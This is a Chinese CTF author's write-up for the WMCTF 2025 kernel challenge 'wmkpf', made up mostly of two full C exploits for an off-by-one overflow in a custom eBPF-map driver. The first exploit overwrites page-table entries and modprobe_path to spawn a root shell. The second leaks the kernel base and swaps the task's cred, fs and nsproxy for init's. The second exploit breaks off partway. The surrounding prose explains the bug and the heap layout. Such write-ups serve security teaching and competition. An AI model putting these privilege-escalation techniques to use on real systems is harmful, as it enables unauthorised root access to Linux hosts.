WMCTF 2025 wmkpf 出题人题解

写在最前面

由于我这段时间非常的忙,所以一开始并没有在 WMCTF 2025 上出题的打算,可是考虑到这种机会非常难得再加上也想为 WMCTF 出一份力,所以出了这这么一道题。但由于我实在是太忙了,所以这道题从构思到出完再到写完 exp 只用了不到一天的时间。

这道题最终只有 polaris 的 0rb1t 做了出来。不知道为什么,感觉今年的 pwn 题没什么做,可能是 24h 太短了,来不及。

题目附件:https://github.com/Qanux/wmkpf

my exp

由于我太懒了,这里只给出 exp,不过调一下应该就懂了 :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include <bpf/libbpf.h>
#include <linux/bpf_common.h>
#include <linux/if_alg.h>

size_t buf[0x4000 / 8];

#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));

#define IOCTL_WRITE_CMD 0xdeadbeef
#define IOCTL_READ_CMD 0xbeabdeef
#define IOCTL_MAP_INIT 0xdeefbead
#define IOCTL_MAP_DEL 0xbeefdffa

/*
root@wmbpf:~# cat /proc/cpuinfo
processor : 0
vendor_id : AuthenticAMD
cpu family : 15
model : 107
model name : QEMU Virtual CPU version 2.5+
stepping : 1
microcode : 0x1000065
cpu MHz : 2687.980
cache size : 512 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscallp
bugs : fxsave_leak sysret_ss_attrs null_seg swapgs_fence amd_e400 spectre_v1 spectre_v2
bogomips : 5375.96
TLB size : 1024 4K pages
clflush size : 64
cache_alignment : 64
address sizes
*/
#define TLB_PAGESPRAY 1024 / 8

#define N_PAGESPRAY 0x200
#define VICTIM_MAP 0x10

void *page_spray[N_PAGESPRAY];
void *tlb_spray[TLB_PAGESPRAY];
int map_fd[VICTIM_MAP];

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
struct ioctl_param {
int idx;
int fd;
unsigned int size;
void *buf;
};

int init_cmd(int cmd_fd, int idx){
struct ioctl_param node;
node.idx = idx;
node.fd = cmd_fd;
ioctl(fd, IOCTL_MAP_INIT, &node);
}

int del_cmd(int idx){
struct ioctl_param node;
node.idx = idx;
ioctl(fd, IOCTL_MAP_DEL, &node);
}

int read_cmd(int idx, int size, void* buf){
struct ioctl_param node;
node.idx = idx;
node.size = size;
node.buf = buf;
ioctl(fd, IOCTL_READ_CMD, &node);
}

int write_cmd(int idx, int size, void* buf){
struct ioctl_param node;
node.idx = idx;
node.size = size;
node.buf = buf;
ioctl(fd, IOCTL_WRITE_CMD, &node);
}

static inline int bpf(int cmd, union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}

int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.inner_map_fd = fd,
};

int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd){
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,
};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}

#define VALUE_SIZE 0x1000
#define MAP_SPRAY 0x200
int spray_bpf_fd[MAP_SPRAY];
void spray_bpf_map(){
puts("[*] spray bpf map.");
uint64_t *value = (uint64_t*)calloc(VALUE_SIZE, 1);
for(int i = 0; i < MAP_SPRAY; i++){
spray_bpf_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), VALUE_SIZE, 1);
if (spray_bpf_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
}

free(value);
}

void refresh_tlb(){
info("refresh tlb...");
for (int i = 0; i < TLB_PAGESPRAY; i++){
for (int j = 0; j < 8; j++){
*(char*)(tlb_spray[i] + j*0x1000) = 'A' + j;
}
}
}

/*
static const struct proto_ops alg_proto_ops = {
.family = PF_ALG,
.owner = THIS_MODULE,
...
.bind = alg_bind,
.release = af_alg_release,
.setsockopt = alg_setsockopt,
.accept = alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len){
const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sockaddr_alg_new *sa = (void *)uaddr;
const struct af_alg_type *type;
void *private;
int err;
...
sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
type = alg_get_type(sa->salg_type);
if (PTR_ERR(type) == -ENOENT) {
request_module("algif-%s", sa->salg_type);
type = alg_get_type(sa->salg_type);
}
*/
static void trigger_modprobe(){
struct sockaddr_alg sa;

int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return ;
}

memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "Qanux"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
}

int main(){
int shm_id, tmp_fd;
int shell_stdin_fd;
int shell_stdout_fd;
int sync_pipe[0x10][2];
FILE *file;
const char *filename = "/tmp/sh";

file = fopen(filename, "w");
if (file == NULL) {
perror("Error opening file");
return 1;
}
fclose(file);

bind_core(0);
save_status();

fd = open("/dev/vuln",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

info("Prepare pages for PTE");
for (int i = 0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if (page_spray[i] == MAP_FAILED) err_exit("mmap");
}

info("Prepare pages for refresh tlb");
for (int i = 0; i < TLB_PAGESPRAY; i++) {
tlb_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if (tlb_spray[i] == MAP_FAILED) err_exit("mmap");
}

refresh_tlb();
spray_bpf_map();

for(int i = 0; i < (0x4000 / 8); i++){
buf[i] = 0x800000000009c067;
}

puts("[*] Init map list(1)");
for(int i = 0; i < VICTIM_MAP / 2; i++){
map_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x1000, 1);
if (map_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");

init_cmd(map_fd[i], i);
}

puts("[*] Allocating PTEs...");
info("Allocate many PTEs (1)");
for (int i = 0; i < N_PAGESPRAY/2; i++){
for (int j = 0; j < 8; j++){
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
}
}

puts("[*] Init map list(2)");
for(int i = VICTIM_MAP / 2; i < VICTIM_MAP; i++){
map_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x1000, 1);
if (map_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");

init_cmd(map_fd[i], i);
}

info("Allocate many PTEs (2)");
for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++){
for (int j = 0; j < 8; j++){
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
}
}

puts("[*] tigger bpf map overflow");
for(int i = 0; i < VICTIM_MAP; i++){
write_cmd(i, 0x1000, buf);
}

refresh_tlb();

puts("[+] Searching for overlapping page...");
// Leak kernel physical base
void *wwwbuf = NULL;
for (int i = 0; i < N_PAGESPRAY; i++) {
if (*(size_t*)page_spray[i] > 0xffff) {
wwwbuf = page_spray[i];
printf("[+] Found victim page table: %p\n", wwwbuf);
break;
}
}

if (wwwbuf == NULL) err_exit("target not found :(");

printf("[+] wwwbuf data: %p \n", ((*(size_t*)wwwbuf)));

size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x3e04000;
printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);

/**
* Overwrite mdoprobe
*/

size_t modprobe_patch = phys_base + 0x2d64180;

for(int i = 0; i < (0x4000 / 8); i++){
buf[i] = (modprobe_patch & ~0xfff) | 0x8000000000000067;;
}

for(int i = 0; i < VICTIM_MAP; i++){
write_cmd(i, 0x1000, buf);
}

refresh_tlb();

// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);

// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);
printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);

void *pmd_modprobe_addr = (void *)wwwbuf + 0x180;

for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++){
int status_cnt;
char status_buf;

lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);

if (pid_guess % 50 == 0){
printf("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
printf(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
}

lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

// run custom modprobe file as root, by triggering it by executing file with unknown binfmt
// if the PID is incorrect, nothing will happen
trigger_modprobe();

// indicates correct PID (and root shell). stops further bruteforcing
status_cnt = read(status_fd, &status_buf, 1);
if (status_cnt == 0)
continue;

printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);

goto pwn;
}

printf("[-] Lose...\n");
exit(0);
pwn:

puts("[+] EXP END.");
return 0;
}

palaris’ writeup

由于 0rb1t 师傅的 wp 写的太详细了且思路也非常的有趣,我这里就直接照搬过来了 :)

漏洞分析

总共是 4 个功能,map_init、del_cmd 用于将 bpf map 载入数组,write_cmd 和 read_cmd 用于操作 map。

查看 map_init 会发现有类型和 value_size 限制,必须保证是 BPF_MAP_ARRAY_TYPE,且 size 大于 3。

read_cmd 调用 map_lookup_elem 来获取数据。

write_cmd 则是直接获取 value 指针并往里面写入数据

这里的 write_cmd 存在漏洞,可以看到循环退出条件是 v19 < v14,v14 是循环索引,实际上等于 v14 <= v19 则继续,v19 代表轮数,这里很明显多了 1 轮,从而导致溢出。

利用思路

先得了解到 array 类型的 bpf map,其 elem_size 会向上 8 字节对齐,堆块构造需要注意到这一点。

这里因为只有一轮的溢出,所以我们要尽可能的设置我们的 array 足够大,才能更好的淹没下一个堆块的大部分内容。bpf_array 本身具有 0x150 的大小,因此我们选择申请构造 0x400 大小的堆块。

开了 nsjail 沙盒,限制了很多系统调用,这里我们尽可能的只使用bpf的结构体进行利用。而 bpf_array.bpf_map 的首 8 字节是我们的 ops,可以通过溢出控制这个 ops 进行利用。

还需要知道本题只开了 kaslr,其地址的低 3 个字节都不会参与随机化,因此我们可以通过构造将溢出的字节数控制到 1-3 个字节来实现指针劫持。

由此可以通过申请 value_size=0x159, max_entries=1 来构造淹没两字节的堆块。

1
0x150 + 0x159*2 = 0x402

先前有提到 read_cmd 会调用 map_lookup_elem 的函数指针,如果我们可以通过控制 ops 的低两个字节,就可以让其调用 ops 中的任意函数。

我们选择劫持 ops 使其减去 0x48 指向我们的 array_map_free,从而释放我们的 bpf_array。

之后我们只需要再堆喷申请一个 BPF_MAP_TYPE_ARRAY_OF_MAP 类型的 bpf map,就可以往 value 上写入一个 bpf_map 指针。

而其 map_lookup_elem 对应的函数是 array_of_map_lookup_elem,它会调用我们普通 array 的 map_lookup_elem 函数返回 *value。

这样调用 read_cmd 时,它会将 *value 对应的 bpf_map 返回给 v13,之后会返回v13前4字节的数据给用户,而 bpf_map 的前 4 字节刚好对应 ops的低 4 字节,又因为 kaslr 情况下内核 text 段地址高 4 字节固定为 0xffffffff,这使得我们可以成功泄露内核地址信息。

之后可以通过如下构造,淹没下一个 chunk 前 0x250 个字节进行整个 bpf_map 的劫持。

1
0x150+0x280*2 = 0x650

只需要维持 ops 是正常的,再把 max_entries 设置足够大,index_mask 设置为 0xffffffff,并保持各个成员变量的不变,就可以进行任意范围的越界读写了。

之后去遍历堆空间找到用户的 task_struct 修改 cred、fs_struct、nsproxy 分别为 init_cred、init_fs、init_nsproxy 即可实现提权。

利用流程

  • 先在堆风水的情况下,申请 0x159*1 的 bpf_array,保证后面的堆块也是 bpf_array,且给每个堆块都写入一点特殊标识内容。
  • 利用 write_cmd 写入 0x159*2=0x2b2 的数据淹没下一个 bpf_array 的前 2 个字节让其 map_lookup_elem 对应的函数指针为 map_free。
  • 调用 map_init、read_cmd,检查 read_cmd 返回给用户空间的值,如果是前面对应的特殊标识就调用 del_cmd 清空指针继续遍历,反之不是前面对应的特殊标识就代表调用了 map_free,此时 map_init 已经将 freed_map 放入数组中。
  • 大量堆喷 array_of_map 类型的 bpf_array,使得我们前面释放的 freed_map 又被重新申请到,并将一个 array_map 指针写入该 freed_map(freed_map 上会保存 array_map 的指针)。又因为 freed_map 指针被保存在了我们驱动的数组中,可以调用 read_cmd 获取内容,刚好能得到 ops 的前 4 字节泄露内核基地址。
  • 再构造 0x280*1 的 bpf_array,淹没下一个 bpf_array,保证ops等其他成员正常,劫持 index_mask、max_entries以及value_size 实现大范围越界读写,修改 task_struct 提权。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <linux/sched.h>
#include <unistd.h>
#include <wait.h>
#include "bpf.h"

typedef struct _ioctl_arg{
uint32_t idx;
uint32_t fd;
uint64_t size;
uint64_t buffer;
} ioctl_arg, *pioctl_arg;

unsigned long user_rip, user_ss, user_sp, user_cs, user_rflags;

int ko_fd;
uint64_t kernelbase, init_nsproxy = 0x2c729c0, init_cred = 0x2c72ea0;

void error_quit(const char* msg) {
perror(msg);
del_cmd(0);
del_cmd(1);
exit(0);
}

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
int fd = open("/flag", 0);
char flag[0x100] = { 0 };
read(fd, flag, 0x100);
puts(flag);
return;
}

void binary_dump(char* buf, size_t size, long long base_addr) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
if (prctl(PR_SET_NAME, "0rb1t123", 0, 0, 0) != 0) {
printf("Could not set name");
}
}

void circle_print(char buf[], int line_size, int size) {
int l = 0;
for (int i = 0; i < size; i++, l++) {
putchar(buf[i]);
if (buf[i] == '\n')
l = 0;
if ((l + 1) % line_size == 0) {
putchar('\n');
}
}
}

int spawn_processes(pid_t *processes){
for (int i = 0; i < 0x100; i++){
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, "0rb1t123", 0, 0, 0) != 0) {
puts("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
while (getuid() != 0) ;
if (uid == 0 && old != uid) {
char buf[0x100] = {0};
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0){
puts("File open error.");
exit(1);
}
read(fd, buf, 0x100);
write(1, buf, 0x100);
}
exit(uid);
}
if (child < 0) {
return child;
}
processes[i] = child;
}

return 0;
}

int spawn_root_shell(pid_t *processes){
for (int i = 0; i < 0x100; i++){
kill(processes[i], SIGCONT);
}
while(wait(NULL) > 0);

return 0;
}

int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
// .map_flags = BPF_F_MMAPABLE,
.inner_map_fd = fd,
};

int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}

void map_init(uint32_t idx, uint32_t fd){
ioctl_arg arg;
arg.idx = idx;
arg.fd = fd;
if (ioctl(ko_fd, 0xDEEFBEAD, &arg) < 0){
error_quit("map_init error");
}
}

void del_cmd(uint32_t idx){
ioctl_arg arg;
arg.idx = idx;
if (ioctl(ko_fd, 0xBEEFDFFA, &arg) < 0){
error_quit("del_cmd error");
}
}

void write_cmd(uint32_t idx, uint64_t size, char *buffer){
ioctl_arg arg;
arg.idx = idx;
arg.size = size;
arg.buffer = (uint64_t)buffer;
if (ioctl(ko_fd, 0xDEADBEEF, &arg) < 0){
error_quit("write_cmd error");
}
}

void read_cmd(uint32_t idx, uint32_t size, char *buffer){
ioctl_arg arg;
arg.idx = idx;
arg.size = size;
arg.buffer = (uint64_t)buffer;
if (ioctl(ko_fd, 0xBEABDEEF, &arg) < 0){
error_quit("read_cmd error");
}
}

void exploit(){
ko_fd = open("/dev/vuln", O_RDWR);
char inbuf[0x1000] = {0}, outbuf[0x1008] = {0};
int spray_fd[0x200];
uint64_t *ibuf = (uint64_t*)inbuf;
int array_fd = -1;
int key = 0, vuln_fd = -1;
uint64_t val = 0xdeadbeef;
for (int i = 0; i < 0x20; i++){
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x8, 0x40, 0);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
bpf_update_elem(spray_fd[i], &key, &val, 0);
}
array_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x159, 0x1, 0);
if (array_fd < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
for (int i = 0x20; i < 0x40; i++){
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x8, 0x40, 0);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
bpf_update_elem(spray_fd[i], &key, &val, 0);
}
map_init(0, array_fd);
*(uint16_t*)&inbuf[0x2b0] = 0x2840-0x48;
write_cmd(0, 0x159, inbuf);
for (int i = 0; i < 0x40; i++){
map_init(1, spray_fd[i]);
*(uint64_t*)&outbuf = 0;
read_cmd(1, 8, outbuf);
if (*(uint64_t*)&outbuf != 0xdeadbeef){
vuln_fd = spray_fd[i];
break;
}
del_cmd(1);
}
if (vuln_fd == -1){
error_quit("Failed to get the vuln fd");
}

for (int i = 0x40; i < 0x50; i++){
spray_fd[i] = create_bpf_array_of_map(array_fd, sizeof(int), 4, 0x40);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY_OF_MAP error");
}
if (bpf_update_elem(spray_fd[i], &key, &array_fd, 0)<0){
error_quit("BPF_UPDATE error");
}
}

uint64_t kernelbase = 0;
read_cmd(1, 8, &outbuf);
if (*(uint64_t*)&outbuf != 0xdeadbeef){
kernelbase = *(uint64_t*)&outbuf;
kernelbase += 0xffffffff00000000-0x1c42840;
printf("kernelbase: %p\n", (void*)kernelbase);
}
else{
error_quit("Failed to get arraymap");
}
close(vuln_fd);
for (int i = 0x50; i < 0x80; i++){
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x280, 0x1, 0);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
}
*(uint64_t*)&inbuf[0x2b0] = kernelbase + 0x1c42840;
*(uint64_t*)&inbuf[0x2b0+0x18] = 2;
*(uint64_t*)&inbuf[0x2b0+0x1C] = 4;
*(uint64_t*)&inbuf[0x2b0+0x20] = 0x100;
*(uint64_t*)&inbuf[0x2b0+0x24] = 0x100000;
*(uint64_t*)&inbuf[0x2b0+0x34] = 0x56;
*(uint64_t*)&inbuf[0x2b0+0x40] = 0x100000;
*(uint64_t*)&inbuf[0x2b0+0x80] = 1;
*(uint64_t*)&inbuf[0x2b0+0x88] = 1;
*(uint64_t*)&inbuf[0x2b0+0x140] = 0x100;
*(uint64_t*)&inbuf[0x2b0+0x144] = 0xffffffff;
write_cmd(1, 0x280, inbuf);
key = 0x41, vuln_fd = -1;
for (int i = 0; i < 0x40; i++){
if (bpf_lookup_elem(spray_fd[i], &key, &outbuf) >= 0){
vuln_fd = spray_fd[i];
break;
}
}
if (vuln_fd == -1){
error_quit("Failed to find the vuln fd");
}

printf("Begin to find the cred.\n");
uint64_t cred = 0, nsproxy = 0, init_nsproxy = kernelbase + 0x2c729c0, init_cred = kernelbase + 0x2c72ea0, init_fs = kernelbase + 0x2daeb80;
int stop = 0;
pid_t processes[0x100];
spawn_processes(processes);
